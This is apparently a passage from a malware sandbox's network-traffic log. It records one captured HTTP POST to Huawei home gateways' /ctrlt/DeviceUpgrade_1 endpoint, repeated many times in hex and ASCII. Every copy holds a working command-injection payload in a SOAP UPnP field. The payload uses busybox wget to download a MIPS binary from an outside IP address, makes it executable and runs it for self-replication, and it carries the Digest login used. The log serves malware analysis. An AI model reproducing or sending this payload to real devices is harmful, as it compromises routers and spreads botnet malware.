xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 